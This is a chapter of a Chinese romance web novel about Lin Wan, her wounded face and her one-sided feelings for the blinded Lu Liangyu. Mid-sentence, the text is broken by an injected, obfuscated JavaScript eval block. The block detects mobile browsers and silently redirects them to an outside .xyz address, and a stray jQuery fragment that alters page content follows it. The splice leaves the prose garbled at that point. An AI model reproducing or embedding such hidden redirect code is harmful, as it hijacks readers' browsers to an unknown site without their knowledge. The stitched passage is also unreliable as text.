华医圣摇摇头:“不曾,那位姑娘一直带着面纱。”
难不成他对那姑娘上心了?
华医圣面露喜色,嗅到了难得的八卦气息,谁不知道眼前这人虽深受京城中世家贵女所追捧,却从不曾见过他在意何人,莫不是……
“要不我找借口让她把面纱摘了,替世子你掌掌眼。”
华医圣紧绷着等了半晌,却只听见陆良玉缓缓道:“她先前为了救我,被我所伤,方才听她提了伤口还疼,你也给她看看。”
本是在外面焦心等着的林婉,忽见诊室的青布帘子从里头掀开,伙计唤她进去。
莫不是陆良玉的眼睛?
林婉三步并作两步,急忙走进诊室,奔到陆良玉面前:“陆公子,你的眼睛……”
“无碍,让华医圣瞧瞧你脸上的伤吧。”
她怔愣一瞬,转头看见满脸慈祥笑意的华医圣,顿时恍然大悟,此言是关心她的伤口。
林婉一笑,葱白指尖一勾,面上的白纱滑落,露出了唇红齿白的娇媚面容。
华医圣瞧着,赞许的话语还没吐出嘴边,就被她脸颊上那一条泛红、隐隐有恶化的伤口给惊呆了,这完全是不管不顾了。
“姑娘,你怎这么不爱惜自己脸上的伤,难道你就不怕会留下伤疤吗?”
忽然听到华医圣的斥责,林婉一下子还没反应过来,怔愣住了。
这姑娘的模样长得还是很不错的,世子的眼光确实不差,不过,看这模样,定是被美色所误,一门心思都落在世子身上,忽略了自己的伤。
华医圣无奈叹了口气:“伤口时日久了还不好,还有恶化的迹象,若再不理会,它恐怕会留下伤疤啊。”
林婉霎时脸色发白,颤抖地声音追问:“真的会有疤吗?岂不是会很丑?”
“姑娘,你先前可有看郎中好好治过伤口?”
林婉一听,不免心虚了,这一个月的时间几乎前面大半时间都照顾重伤昏死的陆良玉,后来又为他的眼疾而担忧,哪儿还想得起脸上的伤,当日简单包扎止血便可,哪儿会想到它会这么折磨人啊!
她委屈的眼神瞥向一旁的陆良玉,低声道:“忙起来忘记了,想着它止血后便可自愈。”
华医圣噙着笑意,还欲再打趣一番,却被一道不辨情绪的声音打断了,听到本是沉默的陆良玉开口:“有劳华医圣妙手回春,看看林姑娘的伤。”
陆良玉都这样说,华医圣没有理由再言其他,温声安慰:“姑娘,莫怕,伤口至今还没好,应该是被带了血污的刀剑所伤,这么多天还红肿,可能伤口里化脓恶化了。”
带血污的刀剑?
林婉听了这话,想起一个月前遇见陆良玉的画面,有些出神。
被从江水里救起的他,满身皆是伤口痕迹,即便昏迷意识不清,手上依旧拿紧匕首。
陆良玉当然不是平白无故就跌落江里,还满身是伤。
从前他伤重,林婉不曾过追问他的事,只盼着他快点好起来。
可如今,被华医圣提了一嘴,林婉心里免不得心疼起他。
她眼皮微抬,心疼似的望一眼陆良玉:“之前在厨房用刀切东西的时候,不小心划伤的,不是什么带血污的刀剑。”
此话一出,陆良玉指节一颤。
“可会留疤?”
“有我华医圣在,保证不会留疤,让姑娘依旧貌美如花,不过,还请务必小心处理伤口敷药,莫要大意了。”
华医圣小心翼翼地给她的伤口剔除污血脓迹,敷上美颜玉膏,再三嘱咐:“要勤换药,莫要大意。”
脸颊敷药后微微发烫,她眼眸一闪,问:“这样确定不会留疤?”
“不会。”华医圣打量着眼前满是爱慕望着陆良玉的林婉,这是美色误人啊,“行啦,你们明日再过来换药便可,莫要耽误老夫医治其他病人。”
说完,让店伙计送两人出医馆了。
林婉回头看了眼身后的杏林医馆,噗嗤一笑,眼睛弯成了月牙:“华医圣人真好!”
陆良玉嗯了一声,并没有否认。
街道上的繁华热闹,刹那间映入眼帘,大街上人来人往,店铺林立,吆喝声、唱曲声、叫好声……熙来攘往,人潮涌动。
身侧的陆良玉一言不发,沉默抬脚正欲朝马车的方向,但却脚步一顿,没有走成。
他的衣袖再次被林婉轻轻勾住,停下脚步,转身面向林婉。
林婉指尖勾着他的衣袖,微微捏紧,带着一丝讨好:“陆公子,前面有卖帷帽面纱的铺子,你的眼纱被药粉的汁水沾染了,不如去挑多几条可以更换。”
“我的脸刚敷了药,面纱挨着有些疼,想换帷帽。”
林婉被他盯着有些心虚,虽然他的眼上束着眼纱,看不见自己,可话音中免不得夹杂一丝撒娇。
静默半晌,就在林婉以为他不愿意,仍要回客栈的时候。
传来一个沉稳的声音,不疾不徐,带着恰到好处的疏离:“街上人多,可是我看不见走,并不方便。”
“没事,我牵着公子走吧。”林婉雀跃的笑道。
可瞧着他并不为所动。
林婉赶紧改口:“我是说牵着公子你的衣袖走,街上人也还好,不会特别多,牵着走不会撞到摔着。”
这一次,终于看见温润如玉般的人点了点头,还主动递过右手衣袖。
衣袖也好,牵衣袖也算牵。
真讨厌,眼睛瞧不见都那么谨慎,像个大冰块一样。
林婉乖乖的牵着他的衣袖,触指之间锦袍衣袖略微发凉,脚步略缓,挨近他走着。
走过两间店铺,便是一家名为“烟云阁”的小店。
“郎君,娘子,过来瞧瞧,新进的面纱,轻薄透气,面料舒适,着实上品。”
小小一间铺面,陈列了各式各样的面纱、帷帽,还有幂篱,掌柜是个憨厚富态的夫人。
“呦,可是要给娘子挑面纱,这些都是今年的新货,汴州城的贵人们都爱这款,是京城有名的绣娘所织,冰凉透气,娘子你看看。”
“娘子你姿色娇艳,这个浣溪纱最衬你的白皙肤色,如今夏日炎热,用这块面纱不会那么闷热。”
掌柜看到两人进来,衣着不凡,料想定是贵人,热情的招呼。
林婉听着掌柜这么会说话,笑弯了眉:“行的,掌柜可有铜镜,我想瞧瞧带上去是什么模样,好不好看。”
“娘子长得那么美,不用试都晓得定会很美啊。”掌柜喜得连忙引她往柜子台面的铜镜看去。
曼妙轻纱难掩姿色,镜中的林婉更添妩媚朦胧美。
林婉挑得开心,一下子选了好几条面纱,各色绣花纹理都有。
陆良玉揶揄道:“你不是说脸上伤口没好,面纱会嘞得疼吗?”
还打算再让掌柜选些其他款式的面纱时,冷不丁身旁响起一个声音,打断了林婉手上的挑选的动作。
本是愉快的气氛一下子冷却下来。
“郎君贴心,晓得娘子面上的伤带面纱不适,我店里这边也有新进的帷帽,京城贵人出行用的幂篱也有,娘子你看看喜爱哪种?”
“真羡慕你们啊,想想老娘年轻的时候,家里的老头子最不耐烦陪我上街了,更别提还会帮忙掌眼。”
林婉听着掌柜越说越欢,甚至还提到新婚燕尔些宜做的事,饶是她脸皮厚,也耐不住听掌柜当面提,特别是身旁还站着一言不发的陆良玉。
“掌柜,你误会了……我们并不是……”
掌柜也是经历过人事的,来回打量两人,便猜中个一二,笑着打岔说别的了。
陆良玉站定,没再出声,眉间紧蹙,以往跟他身边的人何曾会这般的聒噪。
一旁向掌柜问可有眼纱的林婉,眸光动了动,瞥见他皱了眉头,思及他平日里都是那般的安静,莫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178162|180820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是觉得自己话多了?便不说了。
让候在一旁的桃红去跟掌柜结账,打包挑好地面纱、帷帽,还有他的眼纱。
林婉瞧见柜台铜镜中映出的两人身影,一个面带白纱,一个束缚眼纱,真如掌柜所说的登对啊。
她的眼中流过笑意,故意挨近一步,轻声说:“陆公子,你瞧,我们当真同病相怜了,一个破相了照看一个眼疾的。”
陆良玉倒没太惊讶,只是轻叹一声:“世间女子皆爱惜容貌,你因为我而伤了面容,不埋怨我吗?”
“哈哈,一个小伤疤得以结识你,不亏啊,若是不是这样,茫茫人海,你我可能还仅仅只是擦肩而过的陌生人呢。”
林婉眼含笑意,说话时的尾音上扬:“华医圣不是说不会留疤吗,况且我貌美又不差,这个小伤不打紧的。”
他听了,略一迟疑,最终什么都没再说。
-
月上中天,客栈的院落里看不到人,只偶尔有野猫轻快跳过,一声声绵长娇软的叫声洒满了客栈的角落里。
林婉把华医圣给的热敷汤药拿到陆良玉的房里。
看着碗里乌黑泛着热气的汤药,林婉:“陆公子,我帮你敷眼吧。”
他思索片刻,无奈道:“不用了,这个我自己来就好,有劳林姑娘递到我手中。”
林婉也没多言,安安静静的守在一旁,看着他笨拙的敷眼。
灯下观美人,别是一番滋味在心头。
橙黄的烛光倒影着两人的身影在洁白的墙壁上,微风吹来,晃动烛光,墙上的人影交错。
陆良玉的双眼虽然看不见,但是能感觉到身旁这人热辣的目光,手上的动作不由得略一偏移迟缓。
轻纱难掩倾城色,微风轻挑动人心。
林婉脸颊微红,按耐不住心头的悸动。
问:“公子可有心仪之人?”
陆良玉罕见地脑子空白,怔愣当场。
他停下手上敷药的动作:“没有。”
“那真好……”
林婉的指尖发颤,迫不及待地想把心中所想立即告诉他。
抬起眼眸看向眼前心心念念的人时,满心欢喜却无法再吐露出来,只见烛光中的他,眼眸深邃朦胧却隐隐溢出寒意。
“你我萍水相逢,姑娘本可无视重伤的我,但却善心相救,此救命之恩定会重酬感谢。”
“这一个月以来,得益于姑娘你的照料,陆某才能这么快痊愈,到时金银财宝定会双手奉上。”
“姑娘你脸上的伤,我也定会寻到良药,不会令此伤有损姑娘的花容月貌。”
烛光中的暧昧气息突然静止。
林婉眼角抽了抽,表情从不自然,变成了极其不自然。
看着眼前心仪之人,言语间夹杂丝丝缕缕的凉意,将本是热情似火、心急如焚想要袒露心迹的她,浇了个透心凉。
“……我为救你,本就不是为了身外之物,莫要将我与那等宵小之人混为一谈。”
“总之,你安心养伤,我……”
林婉脸上的娇羞红晕已经褪去,神色如常:“时候不早了,陆公子你早些歇息吧,明日我再过来寻你,到时再去找华医圣换药。”
待陆良玉手上的敷药完毕,林婉一言不发的把汤药碗收拾好,将店伙计今日送过来清洗干净的衣物逐一收拾放好在床榻旁,还铺好床褥,才拿起汤药碗离去。
陆良玉听着她的动静,稍稍蹙眉,倒也没说什么。
直到回到了房里,林婉终于忍不住了,把汤药碗重重放置在桌面,越想越憋屈,越憋屈越生气,恨恨嘟囔:“真是个大冰块,臭瞎子!”
桃红:“姑娘,要不算了吧。”
“算了?他如今双眼正瞎着,瞧不见我才这般说罢。”林婉徐徐道,“我不想就这么算了归家,家中等着我的将会是个我不喜欢的人。”
“我就只要他。”